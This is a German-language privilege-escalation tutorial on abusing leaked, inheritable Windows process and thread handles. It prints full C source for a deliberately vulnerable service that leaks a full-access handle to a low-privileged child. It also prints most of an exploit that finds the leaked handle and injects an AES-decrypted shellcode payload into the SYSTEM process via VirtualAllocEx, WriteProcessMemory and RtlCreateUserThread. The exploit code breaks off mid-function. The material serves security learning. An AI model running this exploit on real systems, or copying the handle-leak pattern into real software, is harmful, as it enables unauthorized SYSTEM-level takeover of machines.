Handles in einem Prozess ermöglichen den Zugriff auf verschiedene Windows-Ressourcen:
Es gab bereits mehrere Fälle von Privilegieneskalation, bei denen ein privilegierter Prozess mit offenen und vererbbaren Handles einen unprivilegierten Prozessausgeführt hat, wodurch dieser Zugriff auf all diese Handles erhielt.
Stellen Sie sich zum Beispiel vor, dass ein Prozess, der als SYSTEM läuft, einen neuen Prozess (OpenProcess()) mit vollständigem Zugriff öffnet. Der gleiche Prozess erstellt auch einen neuen Prozess (CreateProcess()) mit niedrigen Rechten, der jedoch alle offenen Handles des Hauptprozesses vererbt.
Wenn Sie dann vollständigen Zugriff auf den niedrig privilegierten Prozess haben, können Sie den offenen Handle zum privilegierten Prozess, der mit OpenProcess() erstellt wurde, erlangen und Shellcode injizieren.
Interessante Handles
Prozess
Wie im anfänglichen Beispiel beschrieben, kann ein unprivilegierter Prozess, der einen Prozess-Handle eines privilegierten Prozesses mit ausreichenden Berechtigungen erbt, willkürlichen Code darauf ausführen.
In diesem ausgezeichneten Artikel können Sie sehen, wie man jeden Prozess-Handle ausnutzt, der eine der folgenden Berechtigungen hat:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Ähnlich wie bei den Prozess-Handles kann ein unprivilegierter Prozess, der einen Thread-Handle eines privilegierten Prozesses mit ausreichenden Berechtigungen erbt, willkürlichen Code darauf ausführen.
In diesem ausgezeichneten Artikel können Sie auch sehen, wie man jeden Prozess-Handle ausnutzt, der eine der folgenden Berechtigungen hat:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Datei-, Schlüssel- & Abschnitts-Handles
Wenn ein unprivilegierter Prozess einenHandle mit Schreib-äquivalenten Berechtigungen über eine privilegierte Datei oder Registrierung erbt, kann er die Datei/Registrierung überschreiben (und mit viel GlückPrivilegien eskalieren).
Abschnitts-Handles sind ähnlich wie Datei-Handles, der gebräuchliche Name dieser Art von Objekten ist "File Mapping". Sie werden verwendet, um mit großen Dateien zu arbeiten, ohne die gesamte Datei im Speicher zu halten. Das macht die Ausnutzung "ähnlich" der Ausnutzung eines Datei-Handles.
Wie man Handles von Prozessen sieht
Process Hacker
Process Hacker ist ein Tool, das Sie kostenlos herunterladen können. Es hat mehrere erstaunliche Optionen zur Inspektion von Prozessen, und eine davon ist die Fähigkeit, die Handles jedes Prozesses zu sehen.
Beachten Sie, dass Sie, um alle Handles aller Prozesse zu sehen, das SeDebugPrivilege benötigen (Sie müssen Process Hacker also als Administrator ausführen).
Um die Handles eines Prozesses zu sehen, klicken Sie mit der rechten Maustaste auf den Prozess und wählen Sie Handles:
Sie können dann mit der rechten Maustaste auf den Handle klicken und die Berechtigungen überprüfen:
Sysinternals Handles
Die HandlesBinärdatei von Sysinternals listet ebenfalls die Handles pro Prozess in der Konsole auf:
LeakedHandlesFinder
Dieses Tool ermöglicht es Ihnen, leakedHandles zu überwachen und sogar automatisch auszunutzen, um Privilegien zu eskalieren.
Methodologie
Jetzt, da Sie wissen, wie man Handles von Prozessen findet, müssen Sie überprüfen, ob ein unprivilegierter Prozess Zugriff auf privilegierte Handles hat. In diesem Fall könnte der Benutzer des Prozesses in der Lage sein, den Handle zu erlangen und ihn auszunutzen, um Privilegien zu eskalieren.
Es wurde bereits erwähnt, dass Sie das SeDebugPrivilege benötigen, um auf alle Handles zuzugreifen. Aber ein Benutzer kann dennoch auf die Handles seiner Prozesse zugreifen, sodass es nützlich sein könnte, wenn Sie Privilegien nur von diesem Benutzer aus eskalieren möchten, um die Tools mit den regulären Berechtigungen des Benutzers auszuführen.
Zum Beispiel gehört der folgende Code zu einem Windows-Dienst, der verwundbar wäre. Der verwundbare Code dieser Dienst-Binärdatei befindet sich in der Exploit-Funktion. Diese Funktion beginnt einen neuen Handle-Prozess mit vollem Zugriff zu erstellen. Dann wird ein niedrig privilegierter Prozess erstellt (indem das niedrig privilegierte Token von explorer.exe kopiert wird), der C:\users\username\desktop\client.exe ausführt. Die Verwundbarkeit liegt darin, dass der niedrig privilegierte Prozess mit bInheritHandles als TRUE erstellt wird.
Daher ist dieser niedrig privilegierte Prozess in der Lage, den Handle des zuerst erstellten hoch privilegierten Prozesses zu ergreifen und einen Shellcode zu injizieren und auszuführen (siehe nächster Abschnitt).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit-Beispiel 1
In einem realen Szenario werden Sie wahrscheinlich nicht in der Lage sein, die Binärdatei zu kontrollieren, die von dem anfälligen Code (C:\users\username\desktop\client.exe in diesem Fall) ausgeführt wird. Wahrscheinlich werden Sie einen Prozess kompromittieren und müssen prüfen, ob Sie auf einen anfälligen Handle eines privilegierten Prozesses zugreifen können.
In diesem Beispiel finden Sie den Code eines möglichen Exploits für C:\users\username\desktop\client.exe.
Der interessanteste Teil dieses Codes befindet sich in GetVulnProcHandle. Diese Funktion wird alle Handles abrufen, dann wird sie überprüfen, ob eines von ihnen zur gleichen PID gehört und ob der Handle zu einem Prozess gehört. Wenn alle diese Anforderungen erfüllt sind (ein zugänglicher offener Prozess-Handle gefunden wird), versucht sie, einen Shellcode zu injizieren und auszuführen, indem sie den Handle des Prozesses ausnutzt.
Die Injektion des Shellcodes erfolgt innerhalb der Inject-Funktion und sie wird einfach den Shellcode innerhalb des privilegierten Prozesses schreiben und einen Thread innerhalb desselben Prozesses erstellen, um den Shellcode auszuführen.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")intAESDecrypt(char* payload,unsignedint payload_len,char* key,size_t keylen) {HCRYPTPROV hProv;HCRYPTHASH hHash;HCRYPTKEY hKey;if (!CryptAcquireContextW(&hProv,NULL,NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){return-1;}if (!CryptCreateHash(hProv, CALG_SHA_256,0,0,&hHash)){return-1;}if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen,0)){return-1;}if (!CryptDeriveKey(hProv, CALG_AES_256, hHash,0,&hKey)){return-1;}if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL,0,0, payload,&payload_len)){return-1;}CryptReleaseContext(hProv,0);CryptDestroyHash(hHash);CryptDestroyKey(hKey);return0;}HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intInject(HANDLE hProc,unsignedchar* payload,unsignedint payload_len) {LPVOID pRemoteCode =NULL;HANDLE hThread =NULL;BOOL bStatus =FALSE;pVirtualAllocEx =GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualAllocEx");pWriteProcessMemory =GetProcAddress(GetModuleHandle("kernel32.dll"),"WriteProcessMemory");pRtlCreateUserThread =GetProcAddress(GetModuleHandle("ntdll.dll"),"RtlCreateUserThread");pRemoteCode =pVirtualAllocEx(hProc,NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);bStatus = (BOOL) pRtlCreateUserThread(hProc,NULL,0,0,0,0, pRemoteCode,NULL,&hThread,NULL);if (bStatus !=FALSE) {WaitForSingleObject(hThread,-1);